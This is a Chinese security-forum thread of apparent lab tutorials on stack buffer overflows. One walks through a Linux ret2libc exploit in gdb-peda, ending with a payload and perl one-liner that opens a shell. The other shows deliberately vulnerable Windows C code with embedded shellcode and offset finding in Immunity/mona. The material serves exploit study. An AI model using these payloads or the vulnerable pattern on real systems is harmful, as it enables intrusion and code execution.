详情请移步:https://www.cnblogs.com/scrat/p/3505930.html


##### B、运行:


//stack之前编译生成的文件
# gdb stack
//在攻击函数的位置下断点
# gdb-peda$ b evilfunction
//开始运行
# gdb-peda$ start



##### C、确定system和exit地址


开始运行后,我们便可以开始寻找 system 和 exit 函数的地址。

  1. <blockquote># gdb-peda$ p system
复制代码


由下图,我们可以知道:
**system函数地址 = 0xf7e3eda0;exit函数地址 = 0xf7e329d0**

)




#####  D、确定EIP及超长字符

**拓展**:pattern 生成字符串模板 写入内存 用于定位溢出点

>**pattern_create size生成特定长度的字符串**
>**pattern_offset value 定位value字符串**
>pattern_arg – Set argument list with cyclic pattern
pattern_create – Generate a cyclic pattern
pattern_env – Set environment variable with a cyclic pattern
pattern_patch – Write a cyclic pattern to memory
pattern_search – Search a cyclic pattern in registers and memory



由于我们的buffer长度为 521,因此在这里我们生成的字符串长度应该大于这个,我们设长度为 550。然后用 r 输入字符串。命令如下:

  1. <blockquote>//生成字符串 ’XXXX‘
复制代码


图片如下:




接下来,此时我们已经有超长字符串对栈空间进行溢出了,那么接下来,我们来找找 EIP 中存放的是什么吧。命令:

  1. <blockquote>//0x8048414 是EIP的前面的地址。
复制代码


如下图,我么可以发现 EIP 中的字符串是 ’ sPAs ‘ 。





我们知道了EIP的地址,那么EIP前面填充的 “超长字符串” 的个数便可利用 pattern_offset 进行定位来确定偏移,即也是超长字符的个数,如下图,超长字符个数为533个。

)




##### F、确定shell地址


输入命令:
  1. # gdb-peda$ x/500s $esp
复制代码


如下图,找到SHELL,便可以找到 “/bin/bash” 了,由图可知,“ SHELL=/bin/bash ” 的地址为 0xff ff d3 5f 。
(可能你会觉得很难找,相信自己一直找总会找到的。哈哈。提示一下,大约在中上位置。)





地址0xff ff d3 5f 是 “SHELL=/bin/bash”的,那么”/bin/bash“ 地址 = 0xff ff d3 60 + 6 =  0xff ff d3 65 。(6是 ”SHELL=“ 的长度)如下图,我们可以用 p 进行查看。




##### F、最终的payload


已知:
超长字符的个数 533个;
system函数地址 = 0xf7 e3 ed a0;
exit函数地址 = 0xf7 e3 29 d0
” /bin/bash “ =  0xff ff d3 66

所以payload的结构为:
  1. "A"*533 + “\xa0\xed\xe3\xf7” + "\xd0\x29\xe3\xf7" + "\x65\xd3\xff\xff"
复制代码


####  (3)、执行payload


由于我们这里的参数都是外部 input 输入进去的,所以输出指令如下:

方法一:

  1. <blockquote># gdb-peda$ r $(cat arg)
复制代码


方法二:
  1. <blockquote># ./stack3 $(perl -e 'printf "A"x533 . "\xa0\xed\xe3\xf7" . "\xd0\x29\xe3\xf7" . "\x65\xd3\xff\xff"')
复制代码



###  4、参考链接:

回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-4-19 18:15:32 | 显示全部楼层
本帖最后由 Xor0ne 于 2020-4-19 18:19 编辑

Windows漏洞原理之简单栈溢出示例

今天这篇文章主要是对老师视频的一个简单的总结。按照惯例,我们先从代码来进行分析。


(**PS;** ” 2-(3)我遇到的问题 “ 这部分纯属对于自己运行时的小记录,希望可以给遇到同样问题的小可爱们一点小的参考,如果没有遇到问题的话可以略过哦!)

文章目录


##  1、源代码

首先,甭管看不看的懂,先浏览一遍源代码,越懵逼B代表你你提升的空间越大哦!(哦~ 哈哈哈哈嗝~)
  1. <blockquote>0.这个例子是最简单的溢出,需要关闭GS,关闭DEP,关闭ALSR,关闭safeseh
复制代码

```c
// t1.cpp : 定义控制台应用程序的入口点。
//


#include "stdafx.h"
#include <windows.h>


char shellcode[] =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";//类似于调用messagebox

char filename[] = "C://1.txt";//需要读取的文件,在C盘下的1.txt文件

DWORD jmp_esp = 0xE4FF;

void func()

{
        char buf[0x100];
        DWORD jmpesp = 0xE4FF;
        
        HANDLE hFile;
        DWORD filelen, readlen;
        //printf("%d%d\n", filelen, readlen);
        readlen = 0;
        memset(buf, 0, sizeof(buf));
        hFile = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == INVALID_HANDLE_VALUE)
                //INVALID_HANDLE_VALUE表示无效的句柄,与NULL的区别:查看链接:https://blog.twofei.com/561/https://blog.twofei.com/561/
        {
                printf("Open file failed!");
                return;
        }
             filelen = GetFileSize(hFile, NULL);//GetFileSize()获取指定文件的大小
                 //printf("%d/n", filelen);  filelen=354

                 ReadFile(hFile, buf, filelen, &readlen, NULL);//返回值为1

                 //ReadFile()从文件指针指定的位置读取数据
                /*最开始,我在1.txt中输入的的字节数为570,但是当运行时发现createFileA运行成功,但是ReadFile返回的错误代码为998(内存访问位置无效)。
                百度了很久发现可能是内存分配过小,因此我后来将1.txt文件字节数变为96,发现此时ReadFile读取成功了。


                 if (!ReadFile(hFile, buf, filelen, &readlen, NULL))
                 {
                         int error = GetLastError();//返回998错误
                         printf("%d\n", error);
                 }
                */
                 CloseHandle(hFile);
                 printf("Text-length:%d\r\n", readlen);//&readlen = 上面的filelen = 345
                 printf("Text:'%s'\r\n", buf);
        


}
int main()
{
        printf("the code begin!\n");
        func();
        printf("the code end!\n");
        getchar();
    if(1<0)
                __asm
        {
                jmp esp
        }
        return 0;
}


```



##  2、前景分析

###  (1)、原理分析
接下来,我们来看一下运行代码前的一些前景提要。
首先我们来简单讲解一下这个例子的溢出原理。为如下函数:(参数来自于上述源代码的实际调用)
  1. ReadFile(hFile, buf, filelen, &readlen, NULL);//返回值为1
复制代码

关于这个函数参数可以先简单理解为:
  1. <blockquote>ReadFile()从文件指针指定的位置读取数据
复制代码

由上可分析,正常情况下,指定要读取的字节总数 filelen =实际要读取的字节总数 readlen ,如果实际读取的字节总数 readlen > 存放读取数据的缓冲区 buf,那么 **buf 读取时**将会发生溢出。

接下来就和超长溢出类似了,通过溢出将 func 函数ret返回地址进行覆盖,那么接下来你可以做的事情就很多啦!在这篇文章主要讲的是关于**溢出定址** 的步骤,利用的话我抽空再补上吧!





### (2)、知识拓展:CreateFileA()、ReadFile()、GetFileSize()
**CreateFileA() 函数:打开一个文件,并返回文件的句柄。**

函数原型:
HANDLE CreateFile(
  LPCTSTR lpFileName, //指向文件名的指针
  DWORD dwDesiredAccess, //访问模式(写/读)
  DWORD dwShareMode, //共享模式
  LPSECURITY_ATTRIBUTES lpSecurityAttributes, //指向安全属性的指针
  DWORD dwCreationDisposition, //如何创建
  DWORD dwFlagsAndAttributes, //文件属性
  HANDLE hTemplateFile //用于复制文件句柄
  );
参考链接:https://www.cnblogs.com/endeavour/archive/2011/12/08/2280388.html

**ReadFile() 函数:从文件指针指定的位置读取数据。**


函数原型:
BOOL ReadFile(
HANDLE hFile,                // handle to file
LPVOID lpBuffer,             // data buffer
DWORD nNumberOfBytesToRead, // number of bytes to read
LPDWORD lpNumberOfBytesRead, // number of bytes read
LPOVERLAPPED lpOverlapped    // overlapped buffer
);
参考链接:https://blog.csdn.net/pql925/art ... _rank_v2~rank_v25-1



**GetFileSize():获取指定文件的大小。
该函数用于获取指定文件的大小(长度),获取的大小限制在 0xFFFFFFFF 以内。**



若要获取长度超过 0xFFFFFFFF 的文件大小,请使用 GetFileSizeEx 函数。
DWORD GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh);
参数
  hFile
    待获取大小的文件句柄,该文件句柄必须具有 GENERIC_READ 或 GENERIC_WRITE 访问权限。
  lpFileSizeHigh
    指向一个 DWORD 变量的指针,该变量用于接收文件大小高端(第32-63位)部分的值。若不需获取这部分的值,该参数可以为 NULL 。
参考链接:
https://blog.csdn.net/yes258/article/details/8051197?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158726037619724843333660%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.57646%2522%257D&request_id=158726037619724843333660&biz_id=0&utm_source=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v25-1

###  (3)、我遇到的问题
#### A、CreateFileA()运行成功,ReadFile()读取错误998


通过在程序中下断点单步调试,我发现我的CreateFileA()运行成功,ReadFile()读取失败(表现:实际读取的字节为0,查看栈空间,发现栈空间中也没有数据)。
百度后,发现可以通过GetLastError() 获取错误代码,因此,将如下代码插入到 CloseHandle(hFile); 之前,查看返回的错误错误代码。

                 if (!ReadFile(hFile, buf, filelen, &readlen, NULL))
                 {
                         int error = GetLastError();//返回998错误
                         printf("%d\n", error);
                 }

**在这里我返回的错误代码为 998——内存访问位置无效,然后开始了之后的百度征程,发现错误的原因真的是,,,额,好吧我看不太懂。在这里的错误原因是内存分配过小(此时1.txt中含有 570个字节),建议将空间变大,额,我直接将 要读取的文件 1.txt的字节改为了 96 个,运行,结果出来了。哈哈哈哈。**




#### B、调用对象正在运行时不可用


这个问题我实在单步调试的时候发现运行到后面便会出现这句话,然后内存空间变查看不到了。
**解决办法:设置合适的断点。因为程序都运行完了,空间也全都释放了,你还想看啥呢?**




##  3、程序运行
### (1)、手工计算


在这里,我加载的文件 1.txt 是含有323个字节的。



单步调试文件。
在main()函数调用 func 函数时下断点,记录 func() 函数调用前栈中的情况。如下,我们可以发现 ESP = 0x0019FF24。


####  **溢出需覆盖位置:**


我们需要覆盖的地址为函数 func结束后最后一句 ret 的返回地址,而ret 等价于 pop eip ; jmp eip。(pop eip时,esp+4)执行完ret后 ESP回到函数运行前的值 ESP = 0x19FF24,由此可以推测,执行 ret前的 esp = 0x0019FF20,即 ret 返回地址 eip所在的栈空间为0x0019FF20。
因此需要 **覆盖地址前需要填充的字符有 = | buf首地址 - 0x0019FF20 |** 。




####  **找寻buf首地址**


如下对 ReadFile()函数进行反汇编我们可以知道执行完 lea eax, [buf] 后 eax的值 = 0x0019FE1C,即为 buf 的首地址 = 0x0019FE1C。



因此我们便可以知道
  1. 填充的字符长度为 = buf首地址 - ret返回地址 = | 0x0019FE1C - 0x0019FF20 | = 0x104
复制代码


###  (2)、immunity中的mona


环境:Immunity安装:https://www.twblogs.net/a/5b8cf9772b7177188338055c/zh-cn
mona的整个文件夹可以放到 PyCommands 文件夹中。文件路径类似于下方:
Immunity Inc --> Immunity Debugger --> PyCommands

命令如下:
  1. <blockquote>#查看mona的所有指令
复制代码


如下图,我们可以观察到再插入乱序字符序列后,ret返回时的EIP中的地址为 0x37694136,即字符串为 6Ai7。**(PS:在 6Ai7 附近的内存空间我们发现了一个奇怪的空间 ?... (来自于ESI的值),关于这个的探讨请查看附录 2 )**




在mona中查看偏移量。如图为260。与方法一的手工计算是一样的。





###  附录2:


在此我们探讨一下在ret返回地址附近出现的奇怪序列(?……),如下:





经过不断的单步调试文件发现问题出现在 ReadFile()函数执行后,因此我们重点 单步执行一直 ReadFile() 函数。

如下,为 ReadFile() 函数执行前寄存器的值。我们发现 ESI 中的值 = 奇怪序列(?……)




查看 ReadFile() 函数的反汇编代码。观察 ESI,我们发现 ESI 的值 = filelen 的值(要读取的字节数)




运行完 ReadFile() 函数后,查看栈空间,和此时寄存器的值。
我们可以发现寄存器中 ESP的值没变,即堆栈自动平衡了([Winapi函数自动平衡堆栈](https://www.cnblogs.com/herbertchina/p/3830826.html))。



并且从栈空间发现执行完 ReadFile() 函数后,其他地址均发生了溢出覆盖,唯独这个地址没有。那这个地址有什么特殊的吗?

查看寄存器发现这个地址为 0x0019FF1C 再观察上述的寄存器发现这个地址竟然超过了 ESP 的地址,那么就肯定是系统在调用 readfile() 函数时将 ESI push进栈。


单步调试 ReadFile() 函数,进入call 调用。






查看步骤。发现是在执行如下步骤时,内存空间发现改变的。此步骤后面是 ReadFile() 函数平衡堆栈的一系列操作,因此我个人觉得这个也是属于平衡堆栈的语句。(PS:这个我真的不清楚,百度了很久都没有找到,还希望懂得大佬可以解答一下,小生感恩不尽!>_< 。(在后面我附上了这个代码前后的大部分代码,还请大佬过目,谢谢!) )





ReadFile() 函数反汇编的所有代码:

  1. 76011C70  mov         edi,edi  
  2. 76011C72  push        ebp  
  3. 76011C73  mov         ebp,esp  
  4. 76011C75  push        0FFFFFFFEh  
  5. 76011C77  push        760D2760h  
  6. 76011C7C  push        76050200h  
  7. 76011C81  mov         eax,dword ptr fs:[00000000h]  
  8. 76011C87  push        eax  
  9. 76011C88  sub         esp,18h  
  10. 76011C8B  push        ebx  
  11. 76011C8C  push        esi  
  12. 76011C8D  push        edi  
  13. 76011C8E  mov         eax,dword ptr ds:[760E5B00h]  
  14. 76011C93  xor         dword ptr [ebp-8],eax  
  15. 76011C96  xor         eax,ebp  
  16. 76011C98  push        eax  
  17. 76011C99  lea         eax,[ebp-10h]  
  18. 76011C9C  mov         dword ptr fs:[00000000h],eax  
  19. 76011CA2  mov         dword ptr [ebp-18h],esp  
  20. 76011CA5  mov         dword ptr [ebp-20h],0  
  21. 76011CAC  mov         dword ptr [ebp-1Ch],0  
  22. 76011CB3  mov         esi,dword ptr [ebp+14h]  
  23. 76011CB6  test        esi,esi  
  24. 76011CB8  je          76011CC0  
  25. 76011CBA  mov         dword ptr [esi],0  
  26. 76011CC0  mov         ebx,dword ptr [ebp+8]  
  27. 76011CC3  cmp         ebx,0FFFFFFF4h  
  28. 76011CC6  jae         7605BE22  
  29. 76011CCC  mov         edi,dword ptr [ebp+18h]  
  30. 76011CCF  test        edi,edi  
  31. 76011CD1  je          76011D41  
  32. 76011CD3  mov         dword ptr [edi],103h  
  33. 76011CD9  mov         eax,dword ptr [edi+8]  
  34. 76011CDC  mov         dword ptr [ebp-28h],eax  
  35. 76011CDF  mov         eax,dword ptr [edi+0Ch]  
  36. 76011CE2  mov         dword ptr [ebp-24h],eax  
  37. 76011CE5  mov         eax,dword ptr [edi+10h]  
  38. 76011CE8  test        al,1  
  39. 76011CEA  jne         7605BE65  
  40. 76011CF0  mov         ecx,edi  
  41. 76011CF2  push        0  
  42. 76011CF4  lea         edx,[ebp-28h]  
  43. 76011CF7  push        edx  
  44. 76011CF8  push        dword ptr [ebp+10h]  
  45. 76011CFB  push        dword ptr [ebp+0Ch]  
  46. 76011CFE  push        edi  
  47. 76011CFF  push        ecx  
  48. 76011D00  push        0  
  49. 76011D02  push        eax  
  50. 76011D03  push        ebx  
  51. 76011D04  call        dword ptr ds:[760E951Ch]  
  52. 76011D0A  test        eax,eax  
  53. 76011D0C  js          76011D19  
  54. 76011D0E  cmp         eax,103h  
  55. 76011D13  jne         76011DBB  
  56. 76011D19  cmp         eax,0C0000011h  
  57. 76011D1E  je          76011E02  
  58. 76011D24  mov         ecx,eax  
  59. 76011D26  call        76011E20  
  60. 76011D2B  xor         eax,eax  
  61. 76011D2D  mov         ecx,dword ptr [ebp-10h]  
  62. 76011D30  mov         dword ptr fs:[0],ecx  
  63. 76011D37  pop         ecx  
  64. 76011D38  pop         edi  
  65. 76011D39  pop         esi  
  66. 76011D3A  pop         ebx  
  67. 76011D3B  mov         esp,ebp  
  68. 76011D3D  pop         ebp  
  69. 76011D3E  ret         14h  
复制代码







回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:45 , Processed in 0.031165 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表